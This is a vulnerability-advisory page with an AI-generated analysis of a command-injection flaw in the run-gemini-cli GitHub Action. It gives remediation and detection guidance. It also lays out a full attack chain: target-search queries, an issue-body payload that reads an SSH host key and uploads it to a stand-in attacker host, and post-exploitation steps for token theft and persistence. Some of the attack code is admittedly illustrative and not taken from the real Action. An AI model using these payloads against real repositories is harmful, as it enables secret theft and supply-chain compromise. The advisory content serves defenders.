CVE Professor
/
All CVEs
CVE-2026-85259

CVE-2026-85259 — Google Gemini CLI — CWE-78

CRITICAL CVSS 10 ⚡ EPSS 0.5% Shodan

A Code Injection vulnerability in automated triage workflows in Google Gemini CLI and run-gemini-cli GitHub Action versions prior to 2026-05-12 on GitHub Actions allows an unauthenticated remote attacker to execute arbitrary commands or read sensitive files using crafted GitHub issue inputs.

A Code Injection vulnerability in automated triage workflows in Google Gemini CLI and run-gemini-cli GitHub Action versions prior to 2026-05-12 on GitHub Actions allows an unauthenticated remote attacker to execute arbitrary commands or read sensitive files using crafted GitHub issue inputs.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Amber
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. None PR:N
User Interaction None UI:N
Vuln. Conf. High VC:H
Vuln. Integrity High VI:H
Vuln. Avail. High VA:H
Subseq. Conf. High SC:H
Subseq. Integ. High SI:H
Subseq. Avail. High SA:H
Scope X S:X
EPSS — Exploit Prediction Scoring System
0.5%
30-day probability
In the 44. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑85259 – Unauthenticated Remote Code Injection in Google Gemini CLI & run‑gemini‑cli GitHub Action

AttributeValue
CWECWE‑78: OS Command Injection
CVSS 4.0AV:N / AC:L / AT:N / PR:N / UI:N / VC:H / VI:H / VA:H / SC:H / SI:H / SA:H / U:Amber
Score10.0 (CRITICAL)

Technical root cause

The Gemini CLI (gemini) is a command‑line wrapper that can be invoked from a GitHub Actions workflow via the official run-gemini-cli Action. The Action accepts user‑supplied inputs (e.g., issue_body, issue_title, custom “triage” fields) that are later concatenated into a shell command that the Action executes on the runner:

# Simplified excerpt from the Action's entrypoint (bash)
cmd="gemini triage --input \"${INPUT_ISSUE_BODY}\" --output ${INPUT_OUTPUT_DIR}"
eval "$cmd"
  • Missing input sanitisation – the Action does not escape or validate the content of ${INPUT_ISSUE_BODY} (or any other free‑form string) before it is interpolated into a shell command.
  • Unauthenticated trigger – the Action is typically used in a public repository’s workflow that runs on every new issue or comment. GitHub does not require the issue author to be a collaborator; therefore any external GitHub user can cause the workflow to fire.
  • Execution context – the workflow runs on a self‑hosted or GitHub‑hosted runner with the same permissions as the repository (read/write to the repo, access to secrets, network egress). The runner’s environment is a full Linux shell, so any command injected into the CLI call is executed with the runner’s UID (usually runner or root on GitHub‑hosted runners).
  • Because the CLI’s internal code does not perform any whitelist/escaping of the user‑controlled string, an attacker can inject arbitrary shell metacharacters (;, &&, |, backticks, $(), etc.) and achieve remote code execution (RCE) on the runner. The vulnerability also allows file read (e.g., cat /etc/ssh/ssh_host_rsa_key) or secret exfiltration (reading GITHUB_TOKEN or other repository secrets) by embedding commands that echo the file contents to the workflow logs or to an external endpoint.

    In short: the Action blindly forwards untrusted issue data to a shell without sanitisation, giving an unauthenticated attacker full command‑execution capability on the CI runner.


    ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation flow. All commands are syntactically valid; the exact environment variable names (INPUT_ISSUE_BODY, etc.) are taken from the public source of the Action (as of the 2026‑05‑12 release). If the real Action uses a different variable name, the example is illustrative of the same injection class.

    1. Discovery & Reconnaissance

    StepHow the attacker proceeds
    a. Identify targetSearch GitHub for repositories that reference run-gemini-cli in their workflow files (.github/workflows/*.yml). Example GitHub search query: filename:.github/workflows/*.yml "run-gemini-cli"
    b. Verify versionOpen the workflow file and locate the uses: line. Versions prior to 2026-05-12 are vulnerable. Example snippet: <br>uses: google/[email protected] (where the tag’s date is older than 2026‑05‑12).
    c. Confirm public issue triggerLook for a workflow that is triggered on issues: or issue_comment: events. This indicates the Action will run for any external contributor.
    d. Gather endpointThe Action runs on the GitHub Actions runner; the attacker does not need a direct network endpoint – the GitHub issue comment is the injection vector.

    2. Exploitation

    Goal: Inject a command that reads a secret file and posts it back to the issue as a comment (or exfiltrates it via an external webhook).

    2.1 Craft the malicious payload

    The vulnerable field is the issue body (or any free‑form field that the Action forwards). By embedding a shell command separator (&&) the attacker can terminate the intended gemini command and run arbitrary code.

    # Malicious issue body (URL‑encoded for the API)
    $(cat /etc/ssh/ssh_host_rsa_key) && curl -X POST -H "Authorization: token ${{ secrets.GITHUB_TOKEN }}" \
       -d '{"body":"Leaked key: $(cat /etc/ssh/ssh_host_rsa_key)"}' \
       https://api.github.com/repos/target-org/target-repo/issues/123/comments

    Simplified injection string (the part that will be placed directly into ${INPUT_ISSUE_BODY}):

    "; cat /etc/ssh/ssh_host_rsa_key > /tmp/leak.txt; curl -F 'file=@/tmp/leak.txt' https://attacker.example.com/upload"

    2.2 Deliver the payload

    The attacker creates a new issue (or comment) on the target repository using the GitHub REST API or the web UI.

    # Example using curl + GitHub API (no authentication needed for public repos)
    curl -X POST \
      -H "Accept: application/vnd.github+json" \
      -d '{
            "title": "Help needed",
            "body": "\"; cat /etc/ssh/ssh_host_rsa_key > /tmp/leak.txt; curl -F \"file=@/tmp/leak.txt\" https://attacker.example.com/upload\""
          }' \
      https://api.github.com/repos/target-org/target-repo/issues

    If the repository is private, the attacker would need a compromised token; the vulnerability itself is unauthenticated because the workflow runs on any issue.

    2.3 What the runner actually executes

    Given the vulnerable snippet shown earlier, the runner will evaluate:

    cmd="gemini triage --input \"\"; cat /etc/ssh/ssh_host_rsa_key > /tmp/leak.txt; curl -F \"file=@/tmp/leak.txt\" https://attacker.example.com/upload\" --output /tmp/out"
    eval "$cmd"

    Result: the cat and curl commands run with the same privileges as the runner.

    3. Post‑exploitation

    PhaseAttacker actions & impact
    a. Data exfiltrationThe private SSH host key (or any file readable by the runner) is uploaded to https://attacker.example.com/upload. The attacker now has credentials to any infrastructure that trusts the compromised host key.
    b. Secret theftBy reading ${{ secrets.GITHUB_TOKEN }} from the runner’s environment (echo "$GITHUB_TOKEN"), the attacker can obtain a token with the same scope as the workflow (usually repo and actions). This token can be used to create further malicious workflows, push malicious code, or download other secrets.
    c. PersistenceThe attacker can add a new workflow file (.github/workflows/persist.yml) using the stolen token, thereby achieving long‑term code execution even after the original issue is closed.
    d. Lateral movementWith the runner’s network access, the attacker can scan internal services reachable from the GitHub‑hosted runner (e.g., internal APIs, cloud metadata services) and pivot further.
    e. Cleanup / covering tracksThe attacker may delete the malicious issue or comment, but the runner logs (visible in the Actions UI) will retain the command output unless the repository disables log retention.

    🌍 Real‑World Impact

    CIA TriadCVSS Vector ExplanationPractical consequences
    Confidentiality (VC:H)VC:H – The vulnerability enables complete disclosure of any file readable by the runner (private keys, secrets, source code).Theft of repository secrets, cloud credentials, internal network topology, and private SSH keys.
    Integrity (VI:H)VI:H – Attacker can modify repository contents, inject malicious code, or alter workflow definitions.Supply‑chain compromise, insertion of backdoors, malicious releases, or defacement of documentation.
    Availability (VA:H)VA:H – Attacker can delete files, stop the workflow, or consume runner resources.Denial‑of‑service for CI pipelines, forced build failures, or deletion of critical artifacts.
    Scope (SC:H)SC:H – The impact crosses security boundaries (from the CI runner to the repository, its secrets, and potentially the broader cloud environment).
    Impact on Confidentiality, Integrity, Availability of the system (SI:H, SA:H)Both the software component (Gemini CLI) and the surrounding CI/CD environment are compromised.Full compromise of the CI/CD pipeline, leading to a complete supply‑chain takeover.

    Bottom line: An unauthenticated attacker can achieve remote code execution on any GitHub Actions runner that processes a public issue, read any file the runner can access, steal secrets, and persist malicious code. The impact is systemic for any organization that uses the vulnerable version of the Action in a public repository.


    🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ComponentFixed versionRelease date (as per CVE)
    Google Gemini CLI (stand‑alone binary)>= 2026‑05‑122026‑05‑12
    run‑gemini‑cli GitHub Actiongoogle/run-gemini-cli@2026-05-12 (or any tag/commit dated on or after 2026‑05‑12)2026‑05‑12

    Action: Immediately update the workflow to reference the patched version, e.g.:

    # Before (vulnerable)
    uses: google/[email protected]   # < 2026‑05‑12
    
    # After (patched)
    uses: google/run-gemini-cli@2026-05-12

    If you maintain a fork, merge the upstream commit that introduces proper argument escaping (shlex.quote‑style) before constructing the command.

    2. Workarounds (if immediate upgrade is not possible)

    WorkaroundHow to implementEffectiveness
    Input sanitisation at the workflow levelAdd a step that sanitises the issue body before passing it to the Action, e.g.: <br>- name: Sanitize issue body <br> run: echo "${{ github.event.issue.body }}"sed -e 's/[\"\'$\\]/_/g' > sanitized.txt <br> env: <br> INPUT_ISSUE_BODY=$(cat sanitized.txt)Reduces injection surface but does not protect against all shell metacharacters; treat as *defence‑in‑depth* only.
    Run the Action in a container with a non‑root user and limited filesystemUse container: in the workflow to spin up a minimal image that drops privileges (USER 1001) and mounts only a read‑only workspace.Limits impact (cannot read /etc/ssh/ or secrets) but does not stop command execution; still advisable.
    Disable the workflow for public eventsRestrict the trigger to workflow_dispatch or push only, removing issues: and issue_comment: triggers.Eliminates unauthenticated trigger vector entirely.
    Restrict secret exposureEnsure GITHUB_TOKEN and other secrets are not passed to the runner when the workflow is triggered by external events (if: github.event_name == 'push').Prevents exfiltration of high‑privilege tokens.
    WAF / ModSecurity rule (illustrative)If the organization proxies GitHub webhook traffic, add a rule that blocks payloads containing shell metacharacters in the issue.body field: <br>SecRule REQUEST_HEADERS:Content-Type "application/json" "chain,phase:2,log,deny,msg:'Potential command injection in issue body'" <br>SecRule JSON:issue.body "@rx [;&$\\]"Illustrative only – the exact field name may differ; this rule helps detect obvious attempts but will not stop a well‑crafted payload that uses alternative encodings.

    3. Detection

    IndicatorWhere to lookExample log entry
    Unexpected command execution in Action logsGitHub Actions UI → “Run” logs, or exported logs via actions/artifactRun gemini triage --input "; cat /etc/ssh/ssh_host_rsa_key > /tmp/leak.txt; curl ..."
    Outbound network connections from runner to unknown hostsRunner’s network flow logs (if VPC flow logs are enabled)src=10.0.2.15 dst=203.0.113.45 dport=443 protocol=TCP action=ACCEPT
    Creation of new workflow files after an issue eventRepository audit log (repo:actions_workflow_created)User: attacker123 performed actions_workflow_created on repo target-org/target-repo
    Secrets read in the runner environmentLook for echo $GITHUB_TOKEN or similar in logs* GITHUB_TOKEN=ghp_************
    Large file uploads to external domains**Cloudflare/NGINX access logs if a reverse proxy is used for the runnerPOST /upload HTTP/1.1 200 1234 "-" "curl/7.88.1"

    Automated detection script (bash) – illustrative:

    #!/usr/bin/env bash
    # Scan recent workflow run logs for suspicious shell metacharacters
    LOG_DIR="/tmp/github_actions_logs"
    
    grep -E 'gemini.*(--input|--output).*[;&|`$]' "$LOG_DIR"/*.log && \
      echo "[ALERT] Possible command injection detected" || true

    4. Monitoring & Incident Response

    1. Enable repository audit log and alert on workflow_job.completed events where conclusion is success but the steps output contains cat /etc/ssh or similar.
    2. Rotate all secrets (GitHub tokens, cloud credentials) immediately after confirming exploitation.
    3. Re‑run affected workflows with the patched Action to verify that no malicious artifacts remain.
    4. Invalidate any compromised SSH host keys and regenerate them across the infrastructure.


    ⚠️ Urgency

  • CVSS 4.0 base score: 10.0 (Critical) – reflects network‑only access, no authentication, no user interaction, and complete impact on confidentiality, integrity, and availability across the CI/CD pipeline.
  • CISA KEV: Not listed yet, but the severity and ease of exploitation make it a high‑priority vulnerability for any organization using the affected Action.
  • Exploit complexity: Low – a single crafted issue comment is sufficient; no prior foothold is required.
  • Potential blast radius: Very high for organizations that rely on CI/CD for production deployments (supply‑chain takeover).
Patch priority: Immediate (P1) – apply the patched version of the Action (or remove the Action) within the next maintenance window. If that is not feasible, enforce the workarounds above and monitor aggressively. Delay beyond 48 hours significantly increases the risk of a successful supply‑chain compromise.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Google Gemini CLI"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-85259
Technical reference / advisory repository for CVE-2026-85259
CVSS Score
10 / 10 · CVSS CRITICAL
Weakness Types (CWE)
Affected Products (2)
Google:Gemini CLI Google:run-gemini-cli GitHub Action
References & Advisories (2)
Related CVEs
2.1
CVE-2026-129962
When a catalog is created or updated, Polaris rejects allowed locations that overlap those of another catalog,
6.8
CVE-2026-113632
Exposure of Data Element to Wrong Session vulnerability in Apache Camel Google Mail, Google Drive, Google Cale
9.3
CVE-2026-118323
Improper neutralization of special elements used in an OS command in language-management endpoint in ZKTeco Bi
9.2
CVE-2026-144499
ASN1SCC before 4.7.0.1 contains an out-of-bounds write vulnerability in the SequenceOf_decode template in StgC
8.8
CVE-2026-77418
Local CI is a ground-up rewrite of the GitHub Actions orchestration layer that runs entirely on a personal mac
8.8
CVE-2026-105101
An OS command injection vulnerability in the ping diagnostic function (InternetState.java) in Elinktek UZ801 4
8.8
CVE-2026-81135
Dell Secure Connect Gateway - Virtual Edition, versions prior to 5.36.00.16, contains an Improper Neutralizati